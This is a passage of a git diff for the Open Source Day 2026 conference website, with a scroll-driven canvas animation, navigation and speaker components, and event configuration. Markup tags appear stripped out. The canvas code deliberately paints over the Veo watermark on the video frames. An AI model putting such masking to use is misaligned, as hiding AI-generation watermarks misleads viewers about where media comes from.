ctx.drawImage(img, dx, dy, drawW, drawH); + + // ───────────────────────────────────────────────────────── + // Overlay OSD logo to hide the Veo watermark at bottom right of the image + // Sizing relative to the VISIBLE screen width (w), rather than the potentially heavily-scaled + // video frame (drawW) - this prevents it becoming massive on mobile tall screens. + + const isMobile = containerAspect < 1; // Basic portrait check + const scaleFactor = isMobile ? h : w; // Use height as scale base on mobile as it dominates + + // Calculate logo size keeping it reasonable on both mobile and desktop + const logoW = drawW * (isMobile ? 0.05 : 0.06); + const logoH = logoW; + + // Padding to position perfectly over Veo + const paddingX = drawW * 0.005; + const paddingY = drawH * 0.02; + + // "Veo" is at the bottom right of the ORIGINAL frame + const logoX = dx + drawW - logoW - paddingX; + const logoY = dy + drawH - logoH - paddingY; + + // Draw a dark pill/circle to completely mask the "Veo" text + ctx.fillStyle = BG_COLOR; + ctx.beginPath(); + ctx.arc(logoX + logoW / 2, logoY + logoH / 2, logoW / 2 + drawW * 0.008, 0, 2 * Math.PI); + ctx.fill(); + + if (logoRef.current && logoRef.current.complete) { + ctx.drawImage(logoRef.current, logoX, logoY, logoW, logoH); + } + }; + + // GSAP ScrollTrigger scroll driver + useEffect(() => { + if (!ready) return; + + let gsapAPI, lenis, tickerWrap; + + const init = async () => { + const gsapMod = await import("gsap"); + const stMod = await import("gsap/ScrollTrigger"); + const gsap = gsapMod.gsap; + const ScrollTrigger = stMod.ScrollTrigger; + gsapAPI = gsap; + gsap.registerPlugin(ScrollTrigger); + + // Initialize Lenis for smooth scrolling + const LenisMod = await import("lenis"); + const Lenis = LenisMod.default || LenisMod.Lenis || LenisMod; + lenis = new (Lenis.default || Lenis)({ + autoRaf: false, // using GSAP ticker + }); + + lenis.on("scroll", ScrollTrigger.update); + + tickerWrap = (time) => { + lenis.raf(time * 1000); + }; + + gsap.ticker.add(tickerWrap); + gsap.ticker.lagSmoothing(0); + + const obj = { frame: 0, progress: 0 }; + + gsap.to(obj, { + frame: TOTAL_FRAMES - 1, + progress: 1, + ease: "none", + scrollTrigger: { + trigger: containerRef.current, + start: "top top", + end: "bottom bottom", + scrub: true, + onUpdate: (self) => { + const f = Math.round(obj.frame); + if (f !== frameRef.current) { + frameRef.current = f; + cancelAnimationFrame(rafRef.current); + rafRef.current = requestAnimationFrame(() => drawFrame(f)); + } + setScrollProgress(self.progress); + }, + }, + }); + + // Draw first frame immediately + drawFrame(0); + }; + + init(); + + return () => { + cancelAnimationFrame(rafRef.current); + if (lenis) lenis.destroy(); + if (gsapAPI && tickerWrap) gsapAPI.ticker.remove(tickerWrap); + }; + }, [ready]); + + // Redraw on resize + useEffect(() => { + const onResize = () => drawFrame(frameRef.current); + window.addEventListener("resize", onResize); + return () => window.removeEventListener("resize", onResize); + }, []); + + return ( +
+ {/* Sticky viewport */} +
+ {/* Loading state */} + {!ready && ( +
+
+ Loading experience +
+
+
+
+
+ )} + + {/* Canvas */} + + + {/* Copy overlays — all phases */} + {PHASES.map((phase, i) => { + const opacity = getPhaseOpacity(phase, scrollProgress); + if (opacity <= 0) return null; + + const posStyle = + phase.align === "left" + ? { + left: "clamp(24px, 6vw, 80px)", + right: "auto", + textAlign: "left", + } + : phase.align === "right" + ? { + right: "clamp(24px, 6vw, 80px)", + left: "auto", + textAlign: "right", + } + : { + left: "50%", + transform: "translateX(-50%)", + textAlign: "center", + }; + + return ( +
+ {/* Thin accent line */} + + ); + })} + + {/* Scroll hint — fades out after 5% progress */} +
+ + Scroll + +
+
+ + {/* Progress bar at bottom edge */} +
+
+ + +
+ ); +} diff --git a/src/components/Navigation.jsx b/src/components/Navigation.jsx index 4003045..6a1601e 100644 --- a/src/components/Navigation.jsx +++ b/src/components/Navigation.jsx @@ -1,143 +1,143 @@ -import { useEffect, useState } from "react"; -import { BRANDING, NAVIGATION, SITE } from "@/config/config"; - -const Navigation = (props) => { - const { activePath = "" } = props; - - const [isOpen, setIsOpen] = useState(false); - const [scrolled, setScrolled] = useState(false); - - useEffect(() => { - const handleScroll = () => { - setScrolled(window.scrollY > 50); - }; - - window.addEventListener("scroll", handleScroll); - return () => window.removeEventListener("scroll", handleScroll); - }, []); - - return ( - - ); -}; - -export default Navigation; +import { useEffect, useState } from "react"; +import { BRANDING, NAVIGATION, SITE } from "@/config/config"; + +const Navigation = (props) => { + const { activePath = "" } = props; + + const [isOpen, setIsOpen] = useState(false); + const [scrolled, setScrolled] = useState(false); + + useEffect(() => { + const handleScroll = () => { + setScrolled(window.scrollY > 50); + }; + + window.addEventListener("scroll", handleScroll); + return () => window.removeEventListener("scroll", handleScroll); + }, []); + + return ( + + ); +}; + +export default Navigation; diff --git a/src/components/Speaker.astro b/src/components/Speaker.astro index 4964547..7dafa70 100644 --- a/src/components/Speaker.astro +++ b/src/components/Speaker.astro @@ -1,126 +1,126 @@ ---- -import type { ResolvedSpeaker, ResolvedSpeakerSection } from "@/types/speakers.types.ts" -import { Image } from "astro:assets" - - -type Props = { - speakers: ResolvedSpeaker[] -} - -const {speakers} = Astro.props - ---- - -
- {speakers.map((speaker: ResolvedSpeaker) => ( -
- - -
- - -
- {speaker.imageUrl ? ( - - {speaker.name} - ) : ( -
- - {speaker.name.charAt(0)} - -
- )} - - - {speaker.linkedinUrl && ( - - - - - View on LinkedIn - - - - - )} -
- - -
-

- {speaker.name} -

-

- {speaker.position?.trim() ?? ""}{speaker.position && speaker.company ? " at " : ""}{speaker.company?.trim()} -

- - {speaker.event && ( - - - {speaker.event.trim()} - - )} - - - - {speaker.presentationTitle && ( -

- {speaker.presentationTitle.trim()} -

- )} - - - {speaker.tags.length > 0 && ( -
- {speaker.tags.map((tag) => ( - tag.tagName && ( - - {tag.tagName.trim()} - - ) - ))} -
- )} - - - {speaker.presentationLink && ( - - - - - Presentation - - )} -
-
- ))} -
+--- +import type { ResolvedSpeaker, ResolvedSpeakerSection } from "@/types/speakers.types.ts" +import { Image } from "astro:assets" + + +type Props = { + speakers: ResolvedSpeaker[] +} + +const {speakers} = Astro.props + +--- + +
+ {speakers.map((speaker: ResolvedSpeaker) => ( +
+ + +
+ + +
+ {speaker.imageUrl ? ( + + {speaker.name} + ) : ( +
+ + {speaker.name.charAt(0)} + +
+ )} + + + {speaker.linkedinUrl && ( + + + + + View on LinkedIn + + + + + )} +
+ + +
+

+ {speaker.name} +

+

+ {speaker.position?.trim() ?? ""}{speaker.position && speaker.company ? " at " : ""}{speaker.company?.trim()} +

+ + {speaker.event && ( + + + {speaker.event.trim()} + + )} + + + + {speaker.presentationTitle && ( +

+ {speaker.presentationTitle.trim()} +

+ )} + + + {speaker.tags.length > 0 && ( +
+ {speaker.tags.map((tag) => ( + tag.tagName && ( + + {tag.tagName.trim()} + + ) + ))} +
+ )} + + + {speaker.presentationLink && ( + + + + + Presentation + + )} +
+
+ ))} +
diff --git a/src/config/config.ts b/src/config/config.ts index a84d1d4..670f2bf 100644 --- a/src/config/config.ts +++ b/src/config/config.ts @@ -1,822 +1,822 @@ -import FacebookIcon from "@/assets/icons/facebook.svg"; -import LinkedInIcon from "@/assets/icons/footer-linkedin.svg"; -import GithubIcon from "@/assets/icons/github.svg"; -import InstagramIcon from "@/assets/icons/instagram.svg"; -import Mail from "@/assets/icons/mail.svg"; -import MediumIcon from "@/assets/icons/medium.svg"; -import Phone from "@/assets/icons/phone.svg"; -import TwitterIcon from "@/assets/icons/x.svg"; -import OSDGreen from "@/assets/icons/OSDGreen.svg"; -import OSWBlack from "@/assets/icons/OSWBlack.svg"; - -export const SITE = { - title: "2026 OpenSourceDay", - shortTitle: "OSD2026", - description: "OpenSourceDay 2026 - Join us for the next chapter of open source innovation, learning, and community building.", - website: "https://osd.opensourceweekend.org", - ogImage: "https://osd.opensourceweekend.org/images/Viral_Parmar_Stage.jpg", - icon: OSDGreen, - city: "Gandhinagar", -}; - -export const BRANDING = { - logos: { - main: OSDGreen, - }, -}; - -export const EVENT = { - name: "Open Source Day 2026", - shortName: "OSD2026", - date: "TBA", - location: "Gandhinagar, Gujarat, India", - tagline: "Join the largest open source developer conference of the year. Learn, network, and contribute to the future of technology.", - description: - "Open Source Day 2026 is a community-driven event celebrating the power of open source software. Join developers, maintainers, and enthusiasts for a day of learning, collaboration, and innovation.", - stats: { - expectedAttendees: "600+", - speakers: "20+", - workshops: "8+", - sponsors: "25+", - communityPartners: "70+", - }, -}; - -export const HERO = { - title: { - part1: "PEN", - part2: "SOURCE", - part3: "DAY", - year: "2026", - }, - subtitle: - "Join us for a day of learning, networking, and celebrating open source innovation. Connect with developers, contribute to projects, and shape the future of technology.", - buttons: { - primary: { - text: "Join Community", - url: "https://chat.whatsapp.com/EazGR2r9TChE7a1rLzBxV8?mode=gi_t", - }, - secondary: { - text: "Explore OSD 2025", - url: "/2025", - }, - }, -}; - -export const NAVIGATION = { - items: [ - { name: "Speakers", href: "/speakers" }, - { name: "Schedule", href: "/schedule" }, - { name: "Team", href: "/team" }, - { name: "Tickets", href: "/tickets" }, - { name: "Sponsors", href: "/sponsors" }, - { name: "Venue", href: "/venue" }, - { name: "Past Events", href: "/past-events" }, - ], - cta: { - text: "OSD 2025", - url: "/2025", - }, -}; - -export const CALLS_2026 = [ - { - title: "Call for Speakers", - description: "Share your knowledge & inspire the community with a talk or workshop.", - href: "/cfspk", - emoji: "🎤", - color: "from-violet-500 to-purple-600", - badge: "Open", - deadline: "25th March 2026", - enable: true, - }, - { - title: "Call for Volunteers", - description: "Help us make OSD 2026 an unforgettable experience for everyone.", - href: "/cfv", - emoji: "🙌", - color: "from-emerald-500 to-green-600", - badge: "CLOSED", - deadline: "CLOSED", - enable: false, - }, - { - title: "Call for Sponsors", - description: "Support open source and grow your brand with the community.", - href: "/cfs", - emoji: "🤝", - color: "from-amber-500 to-orange-600", - badge: "Open", - deadline: "31st March 2026", - enable: true, - }, - { - title: "Call for Community Partners", - description: "Partner with us to amplify the open source movement together.", - href: "/cfc", - emoji: "🌐", - color: "from-sky-500 to-blue-600", - badge: "Open", - deadline: "31st March 2026", - enable: true, - }, - { - title: "Call for Evangelists", - description: "Spread the word about OSD 2026 and help grow our reach.", - href: "/cfe", - emoji: "📣", - color: "from-pink-500 to-rose-600", - badge: "Open", - deadline: "21st March 2026", - enable: true, - }, - { - title: "Call for Booth", - description: "Showcase your project, product, or community with a booth at OSD 2026.", - href: "/cfb", - emoji: "🏢", - color: "from-gray-500 to-gray-600", - badge: "Open", - deadline: "31st March 2026", - enable: true, - }, -]; - -export const eventSchedule = [ - { - time: "08:00 AM – 09:30 AM", - title: "Registration & Welcome Kit", - speaker: "", - type: "registration", - room: "Lobby", - }, - { - time: "09:30 AM – 10:00 AM", - title: "Warm Up Activity & Icebreaker", - speaker: "", - type: "activity", - room: "Main Auditorium", - }, - { - time: "10:00 AM – 10:15 AM", - title: "Welcome Note", - speaker: "", - type: "opening", - room: "Main Auditorium", - }, - { - time: "10:15 AM – 10:45 AM", - title: "Opening Keynote — TBA", - speaker: "Speaker TBA", - type: "keynote", - room: "Main Auditorium", - }, - { - time: "10:45 AM – 11:30 AM", - title: "Technical Session — TBA", - speaker: "Speaker TBA", - type: "talk", - room: "Main Auditorium", - }, - { - time: "11:30 AM – 12:45 PM", - title: "Devroom Workshop — TBA", - speaker: "Speaker TBA", - type: "Devroom (Parallel)", - room: "Secondary Hall", - isPanelLeft: true, - }, - { - time: "11:30 AM – 12:00 PM", - title: "Technical Talk — TBA", - speaker: "Speaker TBA", - type: "talk", - room: "Main Auditorium", - isPanelRight: true, - }, - { - time: "12:00 PM – 12:45 PM", - title: "CXO Panel Discussion", - speaker: "Panelists TBA", - type: "CXO Panel Discussion", - room: "Main Auditorium", - isPanelRight: true, - }, - { - time: "12:45 PM – 01:45 PM", - title: "Lunch & Networking", - speaker: "", - type: "break", - room: "Food Court", - }, - { - time: "01:45 PM – 03:00 PM", - title: "Hands-On Workshop — TBA", - speaker: "Speaker TBA", - type: "Devroom (Parallel)", - room: "Secondary Hall", - isPanelLeft: true, - }, - { - time: "01:45 PM – 02:30 PM", - title: "Technical Talk — TBA", - speaker: "Speaker TBA", - type: "talk", - room: "Main Auditorium", - isPanelRight: true, - }, - { - time: "02:30 PM – 03:00 PM", - title: "Technical Talk — TBA", - speaker: "Speaker TBA", - type: "talk", - room: "Main Auditorium", - isPanelRight: true, - }, - { - time: "03:00 PM – 03:45 PM", - title: "Community Panel Discussion", - speaker: "Panelists TBA", - type: "Community Panel Discussion", - room: "Main Auditorium", - }, - { - time: "03:45 PM – 04:15 PM", - title: "Technical Talk — TBA", - speaker: "Speaker TBA", - type: "talk", - room: "Main Auditorium", - }, - { - time: "04:15 PM – 04:45 PM", - title: "Closing Keynote — TBA", - speaker: "Speaker TBA", - type: "Closing Keynote", - room: "Main Auditorium", - }, - { - time: "04:45 PM – 05:00 PM", - title: "Closing Remarks", - speaker: "", - type: "Closing", - room: "Main Auditorium", - }, - { - time: "05:00 PM – 05:30 PM", - title: "Goodies Distribution & Networking", - speaker: "", - type: "Social", - room: "Exhibition Hall", - }, -]; - -export const workshopSchedule = [ - { - time: "09:30 AM – 10:00 AM", - title: "Event Introduction & Icebreaker", - speaker: "", - type: "activity", - }, - { - time: "10:00 AM – 11:30 AM", - title: "Workshop 1 — TBA", - speaker: "Speaker TBA", - type: "workshop", - }, - { - time: "11:30 AM – 1:00 PM", - title: "Workshop 2 — TBA", - speaker: "Speaker TBA", - type: "workshop", - }, - { - time: "01:00 PM – 02:00 PM", - title: "Lunch & Networking", - speaker: "", - type: "break", - }, - { - time: "02:00 PM – 03:00 PM", - title: "Workshop 3 — TBA", - speaker: "Speaker TBA", - type: "workshop", - }, - { - time: "03:00 PM – 04:00 PM", - title: "Workshop 4 — TBA", - speaker: "Speaker TBA", - type: "workshop", - }, - { - time: "04:00 PM – 05:00 PM", - title: "Project Development & Demo", - speaker: "OSD Team", - type: "panel", - }, - { - time: "05:00 PM – 05:15 PM", - title: "Closing Remarks", - speaker: "", - type: "closing", - }, -]; - -export const OUR_SPEAKERS = [ - { - name: "Speaker TBA", - position: "Keynote Speaker", - company: "To Be Announced", - event: "Keynote", - presentationTitle: "Opening Keynote — coming soon", - }, - { - name: "Speaker TBA", - position: "Industry Leader", - company: "To Be Announced", - event: "Closing Keynote", - presentationTitle: "Closing Keynote — coming soon", - }, - { - name: "Speaker TBA", - position: "Open Source Expert", - company: "To Be Announced", - event: "Technical Talk", - presentationTitle: "Technical Talk — coming soon", - }, - { - name: "Speaker TBA", - position: "Cloud & DevOps Expert", - company: "To Be Announced", - event: "Technical Talk", - presentationTitle: "Technical Talk — coming soon", - }, - { - name: "Speaker TBA", - position: "AI & ML Engineer", - company: "To Be Announced", - event: "Workshop", - presentationTitle: "Hands-On Workshop — coming soon", - }, - { - name: "Speaker TBA", - position: "Community Leader", - company: "To Be Announced", - event: "Panel", - presentationTitle: "Community Panel — coming soon", - }, -]; - -export const TICKETS = [ - { - name: "Super Early Bird Ticket", - price: "₹350", - originalPrice: 350, - description: "Super Early Bird pricing with full conference access. Limited availability!", - features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies", "Super Early Bird Discount"], - popular: true, - available: true, - alert: { - text: "Most Awaited", - classes: "text-white bg-green-500", - }, - konfhubUrl: "/purchase", - linkText: "Register Now", - }, - { - name: "Early Bird Ticket", - price: "₹450", - originalPrice: 450, - description: "Early bird pricing with full conference access. Limited availability!", - features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies", "Early Bird Discount"], - popular: false, - available: false, - alert: { - text: "Coming Soon", - classes: "text-white bg-green-500", - }, - konfhubUrl: "/purchase", - linkText: "Coming Soon", - }, - { - name: "Regular Ticket", - price: "₹700", - originalPrice: 700, - description: "Full conference access including lunch, keynotes, panels, and OSD goodies.", - features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies"], - popular: false, - available: false, - alert: { - text: "Most Popular", - classes: "text-white bg-green-600", - }, - konfhubUrl: "/purchase", - linkText: "Coming Soon", - }, - { - name: "Community Fan", - price: "₹999", - originalPrice: 999, - description: "This ticket for all our community people who constantly support us and create a vibrant community.", - features: [ - "Full-access to conference", - "Breakfast & Lunch", - "Keynotes, Panels, Workshops", - "OSD Goodies", - "Super Fan Goodies (Tshirts etc)", - "Digital Certificate", - ], - popular: false, - available: true, - alert: { - text: "Most Preferred", - classes: "text-white bg-blue-500", - }, - konfhubUrl: "/purchase", - linkText: "Register Now", - }, - { - name: "Supporter Ticket", - price: "₹1,999", - originalPrice: 1999, - description: "This ticket for all our community people who constantly support us and create a vibrant community.", - features: [ - "Full-access to conference", - "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", - "Keynotes, Panels, Workshop", - "OSD Goodies", - "Supporter Exclusive goodies (Including Token of Apprecation,Tshirt etc.)", - "Digital Certificate", - "Priority Pass", - ], - popular: false, - available: true, - konfhubUrl: "/purchase", - linkText: "Register Now", - }, - { - name: "Silver Ticket", - price: "₹4,999", - originalPrice: 4999, - description: "This ticket for all our community people who constantly support us and create a vibrant community.", - features: [ - "Full-access to conference", - "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", - "Keynotes, Panels, Workshop", - "OSD Goodies", - "Silver Ticket Exclusive goodies (Including Token of Apprecation,Tshirt etc.)", - "Digital Certificate", - "VIP Pass", - "Shout out during the event", - "Shout-out on Social Media", - "Networking Dinner with Speakers , sponsors , organizers and some special industry invitees", - ], - popular: false, - available: true, - konfhubUrl: "/purchase", - linkText: "Register Now", - extra: - "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", - }, - { - name: "Golden Ticket", - price: "₹9,999", - originalPrice: 9999, - description: "This ticket for all our community people who constantly support us and create a vibrant community.", - features: [ - "Full-access to conference", - "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", - "Keynotes, Panels, Workshop", - "OSD Goodies", - "Golden Ticket Exclusive goodies", - "Digital Certificate", - "Networking Dinner with Speakers, sponsors, organizers and some special industry invitees", - "Shout-out on Social Media", - "Shout out during the event", - "Appreciation Memento from OSD", - ], - popular: false, - available: true, - konfhubUrl: "mailto:opensourceweekend@gmail.com", - linkText: "Contact Organizers", - extra: - "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", - }, - { - name: "Micro Sponsor (Pack of 3 Golden Ticket)", - price: "₹29,999", - originalPrice: 29999, - description: - "This ticket for all our community people who constantly support us and create a vibrant community. (Ideal for Startup & MSME to get Visibility)", - featureTitle: "Pack of 3 Tickets includes:", - features: [ - "Full-access to conference", - "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day", - "Keynotes, Panels, Workshop", - "OSD Goodies", - "Golden Ticket Exclusive goodies", - "Digital Certificate", - "Networking Dinner with Speakers , sponsors , organizers and some special industry invitees", - "Company Branding at relevant places", - "Shout-out during the event", - "Shout-out on Social Media", - "Appreciation Memento from OSD", - ], - popular: false, - available: true, - konfhubUrl: "mailto:opensourceweekend@gmail.com", - linkText: "Contact Organizers", - extra: - "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", - }, -]; - -export const VENUE = { - name: "DAIICT - DAU (Dhirubhai Ambani University)", - address: "Gandhinagar, Gujarat, India", - date: "04 April 2026", - description: "Full day event with multiple tracks at DAIICT - DAU, Gandhinagar.", - capacity: "600+ attendees", - format: "Full day event · Multiple tracks", - googleMapsLink: "https://maps.app.goo.gl/G8zTiuN7oZp1x8qu9", - facilities: [ - "Large auditorium with 500+ seats", - "Multiple workshop rooms", - "Networking lounge and exhibition area", - "High-speed WiFi throughout", - "Professional A/V equipment", - "Accessible facilities", - ], -}; - -// Reuse 2025 sponsor data as placeholders -export const SPONSOR_TIERS = { - gold: [ - { name: "OSCF", logo: "/icons/OSCF.png", website: "#" }, - { name: "OSW", logo: OSWBlack.src, website: "#" }, - { name: "CCSF", logo: "/icons/CCSF.png", website: "#" }, - ], -}; - -export const EVENT_PARTNER = [ - { - id: 1, - name: "Partner TBA", - logo: "/icons/OSDGreen.svg", - website: "#", - }, -]; - -export const VENUE_PARTNER = [ - { - id: 1, - name: "Venue Partner TBA", - logo: "/icons/OSDGreen.svg", - website: "#", - }, -]; - -export const COMMUNITY_PARTNERS = [ - { - id: 1, - name: "GDG Gandhinagar", - logo: "/partners/gdg_gandhinagar.png", - website: "#", - }, - { - id: 2, - name: "GDG Cloud Gandhinagar", - logo: "/partners/gdg_cloud_gandhinagar.png", - website: "#", - }, - { - id: 3, - name: "FFDG Vadodara", - logo: "/partners/ffdg_vadodara.svg", - website: "#", - }, - { - id: 4, - name: "GDG Cloud Rajkot", - logo: "/partners/gdg_cloud_rajkot.png", - website: "#", - }, - { id: 5, name: "GDG Surat", logo: "/partners/gdg_surat.png", website: "#" }, - { - id: 6, - name: "CNCG Gandhinagar", - logo: "/partners/cncg_gandhinagar.png", - website: "#", - }, - { - id: 7, - name: "Hashicorp Ahmedabad", - logo: "/partners/hashicorp_ahmedabad.jpg", - website: "#", - }, - { - id: 8, - name: "Grafana Ahmedabad", - logo: "/partners/grafana_ahmedabad.png", - website: "#", - }, - { - id: 9, - name: "Ahmedabad Developer Club", - logo: "/partners/ahmedabad_developer_club.jpg", - website: "#", - }, - { - id: 10, - name: "The Hackers Meetup", - logo: "/partners/the_hackers_meetup.png", - website: "#", - }, - { - id: 11, - name: "Java User Group Gujarat", - logo: "/partners/java_user_group_gujarat.svg", - website: "#", - }, - { - id: 12, - name: "GDG Cloud Ahmedabad", - logo: "/partners/gdg_cloud_ahmedabad.png", - website: "#", - }, - { - id: 13, - name: "GDG Ahmedabad", - logo: "/partners/gdg_ahmedabad.png", - website: "#", - }, - { - id: 14, - name: "FOSS United", - logo: "/partners/FOSS_United.png", - website: "#", - }, - { - id: 15, - name: "Docker Ahmedabad", - logo: "/partners/docker_ahmedabad.png", - website: "#", - }, - { - id: 16, - name: "Laravel Ahmedabad", - logo: "/partners/laravel_ahmedabad.png", - website: "#", - }, - { - id: 17, - name: "MongoDB Ahmedabad", - logo: "/partners/mongodb_ahmedabad.jpg", - website: "#", - }, - { - id: 18, - name: "Node Ahmedabad", - logo: "/partners/node_ahmedabad.jpg", - website: "#", - }, - { - id: 19, - name: "AWS Ahmedabad", - logo: "/partners/aws_ahmedabad.png", - website: "#", - }, - { - id: 20, - name: "CNCF Ahmedabad", - logo: "/partners/cncf_ahmedabad.jpg", - website: "#", - }, -]; - -// Past event images — reuse from 2025 assets - -import OSWApril_1 from "@/assets/PastEvents/OSW-april/20250405_114037.webp"; -import OSWApril_2 from "@/assets/PastEvents/OSW-april/20250405_123827.webp"; -import OSWApril_3 from "@/assets/PastEvents/OSW-april/20250405_140515.webp"; -import OSWApril_4 from "@/assets/PastEvents/OSW-april/20250405_142305.webp"; - -import OSW24_1 from "@/assets/PastEvents/OSW-24/20241013_111739.webp"; -import OSW24_2 from "@/assets/PastEvents/OSW-24/20241013_094102.webp"; -import OSW24_3 from "@/assets/PastEvents/OSW-24/20241013_094249.webp"; -import OSW24_4 from "@/assets/PastEvents/OSW-24/20241013_102037.webp"; -import OSW24_5 from "@/assets/PastEvents/OSW-24/20241013_102246.webp"; -import OSW24_6 from "@/assets/PastEvents/OSW-24/20241013_102037.webp"; -import OSW24_7 from "@/assets/PastEvents/OSW-24/20241013_124553.webp"; -import OSW24_8 from "@/assets/PastEvents/OSW-24/PXL_20241013_082514049.webp"; - -import OSWMAY_1 from "@/assets/PastEvents/OSW-may/Image_20250504_135007_012.webp"; -import OSWMAY_2 from "@/assets/PastEvents/OSW-may/Image_20250504_135032_445.webp"; - -import OSWJune23_1 from "@/assets/PastEvents/OSW-june-23/IMG20230625102644.webp"; -import OSWJune23_3 from "@/assets/PastEvents/OSW-june-23/IMG20230625121639.webp"; -import OSWJune23_4 from "@/assets/PastEvents/OSW-june-23/IMG_8038.webp"; - -import OSW23_1 from "@/assets/PastEvents/OSW-23/IMG_0759.webp"; -import OSW23_2 from "@/assets/PastEvents/OSW-23/IMG_0761.webp"; -import OSW23_3 from "@/assets/PastEvents/OSW-23/IMG_0767.webp"; - -import OSD2025_1 from "@/assets/PastEvents/OSD-25/20251005_095801.jpg"; -import OSD2025_2 from "@/assets/PastEvents/OSD-25/20251005_160054.jpg"; -import OSD2025_3 from "@/assets/PastEvents/OSD-25/20251005_160718.jpg"; -import OSD2025_4 from "@/assets/PastEvents/OSD-25/20251005_094301.jpg"; -import OSD2025_5 from "@/assets/PastEvents/OSD-25/20251005_100037.jpg"; -import OSD2025_6 from "@/assets/PastEvents/OSD-25/20251005_100149.jpg"; -import OSD2025_7 from "@/assets/PastEvents/OSD-25/20251005_122529.jpg"; -import OSD2025_8 from "@/assets/PastEvents/OSD-25/20251005_160011.jpg"; - -export const PastEvent = [ - { - year: "2025", - title: "Open Source Day 2025", - images: [OSD2025_1, OSD2025_2, OSD2025_3, OSD2025_4], - }, - { - year: "2025", - title: "OpenSourceWeekend: Product Collective (May 2025)", - images: [OSD2025_5, OSD2025_6, OSD2025_7, OSD2025_8], - }, - { - year: "2025", - title: "OpenSourceWeekend: Product Collective (April 2025)", - images: [OSWApril_1, OSWApril_2, OSWApril_3, OSWApril_4], - }, - { - year: "2024", - title: "2024 OpenSourceWeekend × Hacktoberfest", - images: [OSW24_1, OSW24_2, OSW24_3, OSW24_4, OSW24_5, OSW24_6, OSW24_7, OSW24_8], - }, - { - year: "2023", - title: "Open Source Talks (June 2023)", - images: [OSWJune23_1, OSWJune23_4, OSWJune23_3, OSWMAY_1, OSWMAY_2, OSWMAY_1], - }, - { - year: "2023", - title: "2023 OpenSourceWeekend × Hacktoberfest", - images: [OSW23_1, OSW23_2, OSW23_3], - }, -]; - -export const FOOTER = { - description: - "OpenSourceDay is all about giving back to the open source projects, sharpening your skills, and celebrating all things open source. Join us for 2026!", -}; - -export const SOCIAL_LINKS = [ - { - name: "Facebook", - href: "https://www.facebook.com/OSWeekend", - icon: FacebookIcon, - description: "Facebook", - }, - { - name: "Twitter", - href: "https://twitter.com/OSWeekend", - icon: TwitterIcon, - description: "Twitter icon", - }, - { - name: "Instagram", - href: "https://instagram.com/OSWeekend", - icon: InstagramIcon, - description: "Instagram icon", - }, - { - name: "LinkedIn", - href: "https://www.linkedin.com/company/open-source-weekend/", - icon: LinkedInIcon, - description: "LinkedIn icon", - }, - { - name: "Github", - href: "https://github.com/oscfcommunity", - icon: GithubIcon, - description: "Github icon", - }, - { - name: "Medium", - href: "https://medium.com/@opensourceweekend", - icon: MediumIcon, - description: "Medium icon", - }, -]; - -export const CONTACTS = [ - { - name: "Email", - content: "opensourceweekend@gmail.com", - href: "mailto:opensourceweekend@gmail.com", - icon: Mail, - }, - { - name: "Phone", - content: "+91 89 8080 8222", - href: "tel:+918980808222", - icon: Phone, - }, -]; +import FacebookIcon from "@/assets/icons/facebook.svg"; +import LinkedInIcon from "@/assets/icons/footer-linkedin.svg"; +import GithubIcon from "@/assets/icons/github.svg"; +import InstagramIcon from "@/assets/icons/instagram.svg"; +import Mail from "@/assets/icons/mail.svg"; +import MediumIcon from "@/assets/icons/medium.svg"; +import Phone from "@/assets/icons/phone.svg"; +import TwitterIcon from "@/assets/icons/x.svg"; +import OSDGreen from "@/assets/icons/OSDGreen.svg"; +import OSWBlack from "@/assets/icons/OSWBlack.svg"; + +export const SITE = { + title: "2026 OpenSourceDay", + shortTitle: "OSD2026", + description: "OpenSourceDay 2026 - Join us for the next chapter of open source innovation, learning, and community building.", + website: "https://osd.opensourceweekend.org", + ogImage: "https://osd.opensourceweekend.org/images/Viral_Parmar_Stage.jpg", + icon: OSDGreen, + city: "Gandhinagar", +}; + +export const BRANDING = { + logos: { + main: OSDGreen, + }, +}; + +export const EVENT = { + name: "Open Source Day 2026", + shortName: "OSD2026", + date: "TBA", + location: "Gandhinagar, Gujarat, India", + tagline: "Join the largest open source developer conference of the year. Learn, network, and contribute to the future of technology.", + description: + "Open Source Day 2026 is a community-driven event celebrating the power of open source software. Join developers, maintainers, and enthusiasts for a day of learning, collaboration, and innovation.", + stats: { + expectedAttendees: "600+", + speakers: "20+", + workshops: "8+", + sponsors: "25+", + communityPartners: "70+", + }, +}; + +export const HERO = { + title: { + part1: "PEN", + part2: "SOURCE", + part3: "DAY", + year: "2026", + }, + subtitle: + "Join us for a day of learning, networking, and celebrating open source innovation. Connect with developers, contribute to projects, and shape the future of technology.", + buttons: { + primary: { + text: "Join Community", + url: "https://chat.whatsapp.com/EazGR2r9TChE7a1rLzBxV8?mode=gi_t", + }, + secondary: { + text: "Explore OSD 2025", + url: "/2025", + }, + }, +}; + +export const NAVIGATION = { + items: [ + { name: "Speakers", href: "/speakers" }, + { name: "Schedule", href: "/schedule" }, + { name: "Team", href: "/team" }, + { name: "Tickets", href: "/tickets" }, + { name: "Sponsors", href: "/sponsors" }, + { name: "Venue", href: "/venue" }, + { name: "Past Events", href: "/past-events" }, + ], + cta: { + text: "OSD 2025", + url: "/2025", + }, +}; + +export const CALLS_2026 = [ + { + title: "Call for Speakers", + description: "Share your knowledge & inspire the community with a talk or workshop.", + href: "/cfspk", + emoji: "🎤", + color: "from-violet-500 to-purple-600", + badge: "Open", + deadline: "25th March 2026", + enable: true, + }, + { + title: "Call for Volunteers", + description: "Help us make OSD 2026 an unforgettable experience for everyone.", + href: "/cfv", + emoji: "🙌", + color: "from-emerald-500 to-green-600", + badge: "CLOSED", + deadline: "CLOSED", + enable: false, + }, + { + title: "Call for Sponsors", + description: "Support open source and grow your brand with the community.", + href: "/cfs", + emoji: 